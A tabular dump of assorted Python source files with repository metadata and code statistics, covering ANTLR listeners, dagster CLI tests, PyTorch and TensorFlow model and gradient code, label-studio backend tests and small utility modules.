fe4d20c90eb19c884ff4568011687d33b0b965c8 | 27 | py | Python | src/10/making_separate_directories_import_under_a_common_namespace/foo-package/spam/blah.py | tuanavu/python-gitbook | 948a05e065b0f40afbfd22f697dff16238163cde | [
"MIT"
] | 14 | 2017-05-20T04:06:46.000Z | 2022-01-23T06:48:45.000Z | src/10/making_separate_directories_import_under_a_common_namespace/foo-package/spam/blah.py | tuanavu/python-gitbook | 948a05e065b0f40afbfd22f697dff16238163cde | [
"MIT"
] | 1 | 2021-06-10T20:17:55.000Z | 2021-06-10T20:17:55.000Z | src/10/making_separate_directories_import_under_a_common_namespace/foo-package/spam/blah.py | tuanavu/python-gitbook | 948a05e065b0f40afbfd22f697dff16238163cde | [
"MIT"
] | 15 | 2017-03-29T17:57:33.000Z | 2021-08-24T02:20:08.000Z | print('foo-package blah!')
| 13.5 | 26 | 0.703704 | 4 | 27 | 4.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074074 | 27 | 1 | 27 | 27 | 0.76 | 0 | 0 | 0 | 0 | 0 | 0.62963 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
fe8761ecbd51d98ee714ac125257041f423daa88 | 6,557 | py | Python | gen/UNaIAListener.py | baguevaram/UNa-IA | e946a74dae97c44fe7d3eba1adf8e849a3e0a4bb | [
"MIT"
] | null | null | null | gen/UNaIAListener.py | baguevaram/UNa-IA | e946a74dae97c44fe7d3eba1adf8e849a3e0a4bb | [
"MIT"
] | null | null | null | gen/UNaIAListener.py | baguevaram/UNa-IA | e946a74dae97c44fe7d3eba1adf8e849a3e0a4bb | [
"MIT"
] | null | null | null | # Generated from /home/brayan/Documentos/UNAL/Semestre 9/Lenguajes/UNaIA/UNa-IA/UNa-IA/Grammar/UNaIA.g4 by ANTLR 4.8
from antlr4 import *
if __name__ is not None and "." in __name__:
from .UNaIAParser import UNaIAParser
else:
from UNaIAParser import UNaIAParser
# This class defines a complete listener for a pa... | 31.22381 | 116 | 0.728534 | 725 | 6,557 | 6.569655 | 0.188966 | 0.056687 | 0.094478 | 0.170061 | 0.811463 | 0.506613 | 0.500105 | 0.48016 | 0.019316 | 0 | 0 | 0.000961 | 0.206802 | 6,557 | 210 | 117 | 31.22381 | 0.914824 | 0.386915 | 0 | 0.463158 | 1 | 0 | 0.000254 | 0 | 0 | 0 | 0 | 0.004762 | 0 | 1 | 0.463158 | false | 0.463158 | 0.031579 | 0 | 0.505263 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
22cefee5ff0ee586aa62a2a8243e5e15168e8fab | 50 | py | Python | sklearn_quantile/neighbors/__init__.py | jasperroebroek/sklearn-quantile | d357240527f32b04b0fec3dcd308bb23de517209 | [
"BSD-3-Clause"
] | 2 | 2022-02-04T19:31:42.000Z | 2022-02-08T15:11:41.000Z | sklearn_quantile/neighbors/__init__.py | jasperroebroek/sklearn-quantile | d357240527f32b04b0fec3dcd308bb23de517209 | [
"BSD-3-Clause"
] | null | null | null | sklearn_quantile/neighbors/__init__.py | jasperroebroek/sklearn-quantile | d357240527f32b04b0fec3dcd308bb23de517209 | [
"BSD-3-Clause"
] | null | null | null | from .quantile import KNeighborsQuantileRegressor
| 25 | 49 | 0.9 | 4 | 50 | 11.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08 | 50 | 1 | 50 | 50 | 0.978261 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
22e40df28155d5aff6af76a94cc581ce4150e718 | 10,853 | py | Python | python_modules/dagster/dagster_tests/cli_tests/command_tests/test_schedule_commands.py | withshubh/dagster | ff4a0db53e126f44097a337eecef54988cc718ef | [
"Apache-2.0"
] | null | null | null | python_modules/dagster/dagster_tests/cli_tests/command_tests/test_schedule_commands.py | withshubh/dagster | ff4a0db53e126f44097a337eecef54988cc718ef | [
"Apache-2.0"
] | 1 | 2021-06-21T18:30:02.000Z | 2021-06-25T21:18:39.000Z | python_modules/dagster/dagster_tests/cli_tests/command_tests/test_schedule_commands.py | withshubh/dagster | ff4a0db53e126f44097a337eecef54988cc718ef | [
"Apache-2.0"
] | null | null | null | import re
import click
import mock
import pytest
from click.testing import CliRunner
from dagster.cli.schedule import (
check_repo_and_scheduler,
schedule_list_command,
schedule_logs_command,
schedule_restart_command,
schedule_start_command,
schedule_stop_command,
schedule_up_command,
s... | 36.914966 | 99 | 0.639823 | 1,166 | 10,853 | 5.668096 | 0.111492 | 0.036012 | 0.074898 | 0.090483 | 0.826297 | 0.826297 | 0.789227 | 0.783628 | 0.753972 | 0.741565 | 0 | 0.001895 | 0.270709 | 10,853 | 293 | 100 | 37.040956 | 0.833102 | 0.005436 | 0 | 0.657895 | 0 | 0 | 0.167176 | 0.047632 | 0 | 0 | 0 | 0 | 0.140351 | 1 | 0.061404 | false | 0 | 0.04386 | 0 | 0.105263 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a3bfd858860454d9030022aee610c28a3d52ac73 | 144 | py | Python | tests/neophile_test.py | lsst-sqre/neophile | 0923bd5b58851af13c09f73a05b1a2882434b437 | [
"MIT"
] | null | null | null | tests/neophile_test.py | lsst-sqre/neophile | 0923bd5b58851af13c09f73a05b1a2882434b437 | [
"MIT"
] | 23 | 2020-07-17T23:27:44.000Z | 2022-03-21T19:39:19.000Z | tests/neophile_test.py | lsst-sqre/neophile | 0923bd5b58851af13c09f73a05b1a2882434b437 | [
"MIT"
] | null | null | null | """Tests for neophile, the top-level import."""
import neophile
def test_version() -> None:
assert isinstance(neophile.__version__, str)
| 18 | 48 | 0.722222 | 18 | 144 | 5.5 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152778 | 144 | 7 | 49 | 20.571429 | 0.811475 | 0.284722 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a3ce084392c92cdc5e0e691b12d09f5fce1c3b69 | 58 | py | Python | ejercicio3.py | jzazooro/warm-up | 5dcc2a6996923ffbeba5f9cb9b34d79660ee217d | [
"Apache-2.0"
] | null | null | null | ejercicio3.py | jzazooro/warm-up | 5dcc2a6996923ffbeba5f9cb9b34d79660ee217d | [
"Apache-2.0"
] | null | null | null | ejercicio3.py | jzazooro/warm-up | 5dcc2a6996923ffbeba5f9cb9b34d79660ee217d | [
"Apache-2.0"
] | null | null | null | print(21 + 43)
print(142 - 52)
print(10 * 342)
print(5**2) | 14.5 | 15 | 0.62069 | 12 | 58 | 3 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.326531 | 0.155172 | 58 | 4 | 16 | 14.5 | 0.408163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
a3e0f071d8f8187a36b96adef19a138078926a04 | 14,585 | py | Python | bat_seg_models.py | benkoger/kasanka | d5b1d32b7abf54845af0832da577137397089001 | [
"Apache-2.0"
] | null | null | null | bat_seg_models.py | benkoger/kasanka | d5b1d32b7abf54845af0832da577137397089001 | [
"Apache-2.0"
] | null | null | null | bat_seg_models.py | benkoger/kasanka | d5b1d32b7abf54845af0832da577137397089001 | [
"Apache-2.0"
] | null | null | null | import torch
import torch.nn as nn
class SuperSimpleSemSegNet(nn.Module):
def __init__(self, in_channel, out_channel):
super().__init__()
self.conv1 = torch.nn.Conv2d(in_channel, out_channel,
kernel_size=3, padding=1, stride=1)
self.ReLU = torch.nn.ReL... | 40.626741 | 135 | 0.584779 | 1,862 | 14,585 | 4.404941 | 0.070892 | 0.075104 | 0.050719 | 0.048281 | 0.828335 | 0.821751 | 0.786881 | 0.77091 | 0.719946 | 0.703365 | 0 | 0.063956 | 0.296743 | 14,585 | 359 | 136 | 40.626741 | 0.735693 | 0.041412 | 0 | 0.592334 | 0 | 0 | 0.004082 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090592 | false | 0 | 0.006969 | 0.006969 | 0.188153 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a3ebd062b992b107feaae28890c763ca587c6e11 | 127 | py | Python | rex/exploit/exceptions.py | tiedaoxiaotubie/rex | 049bbce3ab2717cbb4d2f0fc10fe8c0433b39c1d | [
"BSD-2-Clause"
] | 471 | 2016-08-20T19:25:33.000Z | 2019-12-06T04:46:55.000Z | rex/exploit/exceptions.py | tiedaoxiaotubie/rex | 049bbce3ab2717cbb4d2f0fc10fe8c0433b39c1d | [
"BSD-2-Clause"
] | 42 | 2016-08-21T04:26:43.000Z | 2019-12-18T02:02:58.000Z | rex/exploit/exceptions.py | tiedaoxiaotubie/rex | 049bbce3ab2717cbb4d2f0fc10fe8c0433b39c1d | [
"BSD-2-Clause"
] | 101 | 2016-08-21T02:21:26.000Z | 2019-09-12T07:22:24.000Z | class CannotExploit(Exception):
pass
class CannotExplore(Exception):
pass
class NoSuchShellcode(Exception):
pass
| 14.111111 | 33 | 0.748031 | 12 | 127 | 7.916667 | 0.5 | 0.410526 | 0.378947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181102 | 127 | 8 | 34 | 15.875 | 0.913462 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
a3fd81d7ac89f6097ddd86947b61d03b1e3012a6 | 20 | py | Python | iahr/commands/chat/__init__.py | B1Z0N/iahr | 0f198a47406726c08018afb17f13ff8c31244eff | [
"MIT"
] | 8 | 2020-07-10T08:09:21.000Z | 2021-06-01T23:47:29.000Z | iahr/commands/chat/__init__.py | B1Z0N/iahr | 0f198a47406726c08018afb17f13ff8c31244eff | [
"MIT"
] | 1 | 2022-03-12T00:40:59.000Z | 2022-03-12T00:40:59.000Z | iahr/commands/chat/__init__.py | B1Z0N/iahr | 0f198a47406726c08018afb17f13ff8c31244eff | [
"MIT"
] | null | null | null | from . import chat
| 10 | 19 | 0.7 | 3 | 20 | 4.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 20 | 1 | 20 | 20 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
433abf1873d0e97f80eee367d8a912d8f3dcdf3a | 29 | py | Python | api/api/models/inception/__init__.py | gufranmirza/btain-cancer-api | 8535581826709d167c6967f21a13df8534cf1d77 | [
"MIT"
] | null | null | null | api/api/models/inception/__init__.py | gufranmirza/btain-cancer-api | 8535581826709d167c6967f21a13df8534cf1d77 | [
"MIT"
] | 18 | 2020-01-28T22:44:19.000Z | 2021-09-16T22:22:53.000Z | api/api/models/inception/__init__.py | gufranmirza/brain-cancer-api | 8535581826709d167c6967f21a13df8534cf1d77 | [
"MIT"
] | null | null | null | from .model import get_model
| 14.5 | 28 | 0.827586 | 5 | 29 | 4.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.92 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
43424f8ebe4eb52b3618820c07e967a2041a9f56 | 189 | py | Python | conftest.py | jean3108/labandco | 4317e7d3875f10d76076ad5fc68c1ba3c12badba | [
"Apache-2.0"
] | 2 | 2019-11-11T22:09:58.000Z | 2020-01-20T19:44:30.000Z | conftest.py | jean3108/labandco | 4317e7d3875f10d76076ad5fc68c1ba3c12badba | [
"Apache-2.0"
] | 15 | 2020-03-31T10:58:37.000Z | 2022-01-22T09:14:49.000Z | conftest.py | jean3108/labandco | 4317e7d3875f10d76076ad5fc68c1ba3c12badba | [
"Apache-2.0"
] | 2 | 2021-05-28T12:20:24.000Z | 2021-09-08T11:27:57.000Z | def pytest_configure(config):
import sys
print("called from test")
sys._called_from_test = True
def pytest_unconfigure(config):
import sys
del sys._called_from_test
| 15.75 | 32 | 0.719577 | 26 | 189 | 4.923077 | 0.5 | 0.234375 | 0.328125 | 0.265625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.21164 | 189 | 11 | 33 | 17.181818 | 0.85906 | 0 | 0 | 0.285714 | 0 | 0 | 0.084656 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.285714 | 0 | 0.571429 | 0.142857 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
4a6b8438784acb976c467d79625ecb4bc8769c64 | 24,794 | py | Python | tensorflow_forward_ad/fwgrad_tests.py | renmengye/tensorflow-forward-ad | ddf93f3d4c3969569200c8fe6bc1fd0f1ff9bece | [
"MIT"
] | 147 | 2017-06-04T16:50:51.000Z | 2022-02-24T06:02:25.000Z | tensorflow_forward_ad/fwgrad_tests.py | renmengye/tensorflow-forward-ad | ddf93f3d4c3969569200c8fe6bc1fd0f1ff9bece | [
"MIT"
] | 5 | 2017-06-06T14:11:10.000Z | 2019-11-27T12:32:25.000Z | tensorflow_forward_ad/fwgrad_tests.py | renmengye/tensorflow-forward-ad | ddf93f3d4c3969569200c8fe6bc1fd0f1ff9bece | [
"MIT"
] | 22 | 2017-06-04T16:58:29.000Z | 2021-07-08T12:00:25.000Z | """
Unit testing forward-mode automatic differentiation.
"""
from __future__ import (division, print_function, unicode_literals)
import numpy as np
import tensorflow as tf
from tensorflow_forward_ad import logger
from tensorflow_forward_ad.fwgrad import forward_gradients
log = logger.get()
tf.logging.set_verbosity(... | 33.6875 | 80 | 0.617367 | 4,045 | 24,794 | 3.614091 | 0.058591 | 0.045968 | 0.059512 | 0.074082 | 0.822354 | 0.802722 | 0.782885 | 0.764485 | 0.756413 | 0.741296 | 0 | 0.040935 | 0.223602 | 24,794 | 735 | 81 | 33.733333 | 0.718494 | 0.033718 | 0 | 0.627057 | 0 | 0 | 0.00506 | 0 | 0 | 0 | 0 | 0 | 0.109689 | 1 | 0.102377 | false | 0 | 0.009141 | 0.001828 | 0.191956 | 0.001828 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4a880a02963cb06b6243d79793370ffe978392f0 | 43 | py | Python | src/sage/algebras/quatalg/__init__.py | switzel/sage | 7eb8510dacf61b691664cd8f1d2e75e5d473e5a0 | [
"BSL-1.0"
] | 5 | 2015-01-04T07:15:06.000Z | 2022-03-04T15:15:18.000Z | src/sage/algebras/quatalg/__init__.py | switzel/sage | 7eb8510dacf61b691664cd8f1d2e75e5d473e5a0 | [
"BSL-1.0"
] | null | null | null | src/sage/algebras/quatalg/__init__.py | switzel/sage | 7eb8510dacf61b691664cd8f1d2e75e5d473e5a0 | [
"BSL-1.0"
] | 10 | 2016-09-28T13:12:40.000Z | 2022-02-12T09:28:34.000Z | # quaternion algebra init file
import all
| 10.75 | 30 | 0.790698 | 6 | 43 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186047 | 43 | 3 | 31 | 14.333333 | 0.971429 | 0.651163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4a8d3c089494b33b59df1ee966a0c08a8c99b58b | 3,454 | py | Python | label_studio_ml/tests/test_basic.py | dsanders11/label-studio-ml-backend | faf1411228130787e640c83f3dd73b6578344a48 | [
"Apache-2.0"
] | null | null | null | label_studio_ml/tests/test_basic.py | dsanders11/label-studio-ml-backend | faf1411228130787e640c83f3dd73b6578344a48 | [
"Apache-2.0"
] | null | null | null | label_studio_ml/tests/test_basic.py | dsanders11/label-studio-ml-backend | faf1411228130787e640c83f3dd73b6578344a48 | [
"Apache-2.0"
] | null | null | null | import requests
import pytest
import os
ML_BACKEND = os.environ.get("ML_BACKEND", "")
@pytest.mark.first
def test_basic_health_check():
response = requests.get("http://127.0.0.1:9090/")
assert response.status_code == 200
response = requests.get("http://127.0.0.1:9090/health")
assert response.status_... | 49.342857 | 406 | 0.693109 | 431 | 3,454 | 5.394432 | 0.185615 | 0.055914 | 0.111828 | 0.023226 | 0.915699 | 0.904086 | 0.883441 | 0.883441 | 0.883441 | 0.844301 | 0 | 0.092574 | 0.146207 | 3,454 | 70 | 407 | 49.342857 | 0.695829 | 0 | 0 | 0.666667 | 0 | 0.055556 | 0.565268 | 0.21534 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.12963 | false | 0.037037 | 0.055556 | 0 | 0.185185 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4aa02538611c4efe047b89972f3ffaa3d2ce42cd | 39 | py | Python | utils/__init__.py | CacoNyan/fa2py | d56302df0869f2ad0232adfa3531298f12c5035c | [
"WTFPL"
] | null | null | null | utils/__init__.py | CacoNyan/fa2py | d56302df0869f2ad0232adfa3531298f12c5035c | [
"WTFPL"
] | null | null | null | utils/__init__.py | CacoNyan/fa2py | d56302df0869f2ad0232adfa3531298f12c5035c | [
"WTFPL"
] | null | null | null | from ..utils import encryption, random
| 19.5 | 38 | 0.794872 | 5 | 39 | 6.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128205 | 39 | 1 | 39 | 39 | 0.911765 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
435db2e0c214b6cbe2f2836961119b18e533fbdd | 40 | py | Python | rplugin/python3/kb_notes/__init__.py | dobrovolsky/kb_notes | 4fc1068f67b85852b8daa18057f63de3aa8a8fc8 | [
"MIT"
] | 14 | 2021-04-12T09:25:19.000Z | 2022-01-21T03:53:14.000Z | rplugin/python3/kb_notes/__init__.py | dobrovolsky/kb_notes | 4fc1068f67b85852b8daa18057f63de3aa8a8fc8 | [
"MIT"
] | null | null | null | rplugin/python3/kb_notes/__init__.py | dobrovolsky/kb_notes | 4fc1068f67b85852b8daa18057f63de3aa8a8fc8 | [
"MIT"
] | null | null | null | from kb_notes.plugin import NotesPlugin
| 20 | 39 | 0.875 | 6 | 40 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 40 | 1 | 40 | 40 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
436a6d10b07b488a9d5e35ca97a0cd306b367c64 | 2,032 | py | Python | tests/api/test_node.py | Pedro-Souza/python-client | a3701e649a8a539ae9d7f9c67b67659283c633a6 | [
"MIT"
] | null | null | null | tests/api/test_node.py | Pedro-Souza/python-client | a3701e649a8a539ae9d7f9c67b67659283c633a6 | [
"MIT"
] | null | null | null | tests/api/test_node.py | Pedro-Souza/python-client | a3701e649a8a539ae9d7f9c67b67659283c633a6 | [
"MIT"
] | null | null | null | import responses
from client import ArkClient
def test_status_calls_correct_url():
responses.add(
responses.GET,
'http://127.0.0.1:4002/node/status',
json={'success': True},
status=200
)
client = ArkClient('http://127.0.0.1:4002')
client.node.status()
assert len(r... | 27.093333 | 88 | 0.626476 | 287 | 2,032 | 4.351916 | 0.125436 | 0.084067 | 0.096077 | 0.108086 | 0.871097 | 0.851081 | 0.821457 | 0.821457 | 0.759007 | 0.759007 | 0 | 0.11118 | 0.203248 | 2,032 | 74 | 89 | 27.459459 | 0.660284 | 0 | 0 | 0.551724 | 0 | 0 | 0.239173 | 0 | 0 | 0 | 0 | 0 | 0.189655 | 1 | 0.086207 | false | 0.017241 | 0.034483 | 0 | 0.12069 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
437a0c2e815606e4b4e36b3d34f690d2c2678e37 | 6,071 | py | Python | repos/system_upgrade/el7toel8/actors/checkkdegnome/tests/unit_test.py | Honza0297/rhel | 340269773c2ccb0e18fbf02270dafee301cc7c14 | [
"Apache-2.0"
] | null | null | null | repos/system_upgrade/el7toel8/actors/checkkdegnome/tests/unit_test.py | Honza0297/rhel | 340269773c2ccb0e18fbf02270dafee301cc7c14 | [
"Apache-2.0"
] | null | null | null | repos/system_upgrade/el7toel8/actors/checkkdegnome/tests/unit_test.py | Honza0297/rhel | 340269773c2ccb0e18fbf02270dafee301cc7c14 | [
"Apache-2.0"
] | null | null | null | from leapp.libraries.actor import library
from leapp.libraries.common.testutils import create_report_mocked
from leapp import reporting
def is_executable_only_gnome(path):
return path == "/usr/bin/gnome-session"
def is_executable_only_kde(path):
return path == "/usr/bin/startkde"
def check_app_in_use_mock... | 34.106742 | 95 | 0.748147 | 800 | 6,071 | 5.435 | 0.12375 | 0.136615 | 0.137994 | 0.099356 | 0.813937 | 0.770699 | 0.764489 | 0.75598 | 0.74379 | 0.74379 | 0 | 0.001772 | 0.1634 | 6,071 | 177 | 96 | 34.299435 | 0.854302 | 0.214462 | 0 | 0.6375 | 0 | 0 | 0.15 | 0.004803 | 0 | 0 | 0 | 0 | 0.1625 | 1 | 0.175 | false | 0 | 0.0375 | 0.0625 | 0.275 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
43bdbd0990623dbd563dd1ed7818fa944f474d7c | 95 | py | Python | splusdata/__init__.py | marixko/splusdata | 2f3255b14acfa868d341f173ff44bb5d0e152e62 | [
"Apache-2.0"
] | null | null | null | splusdata/__init__.py | marixko/splusdata | 2f3255b14acfa868d341f173ff44bb5d0e152e62 | [
"Apache-2.0"
] | null | null | null | splusdata/__init__.py | marixko/splusdata | 2f3255b14acfa868d341f173ff44bb5d0e152e62 | [
"Apache-2.0"
] | null | null | null | from splusdata.connect import connect
from splusdata.features import classification, filterbw
| 23.75 | 55 | 0.863158 | 11 | 95 | 7.454545 | 0.636364 | 0.317073 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 95 | 3 | 56 | 31.666667 | 0.964706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
43c532441a5ae66caf50949fe396bfd258b822a4 | 23 | py | Python | tests/dir0/module02.py | peterprescott/numdoclinter | b7ae705e500114394dad96dcb0871ec7a22bd2da | [
"MIT"
] | null | null | null | tests/dir0/module02.py | peterprescott/numdoclinter | b7ae705e500114394dad96dcb0871ec7a22bd2da | [
"MIT"
] | null | null | null | tests/dir0/module02.py | peterprescott/numdoclinter | b7ae705e500114394dad96dcb0871ec7a22bd2da | [
"MIT"
] | null | null | null | def func02():
pass
| 7.666667 | 13 | 0.565217 | 3 | 23 | 4.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 0.304348 | 23 | 2 | 14 | 11.5 | 0.6875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
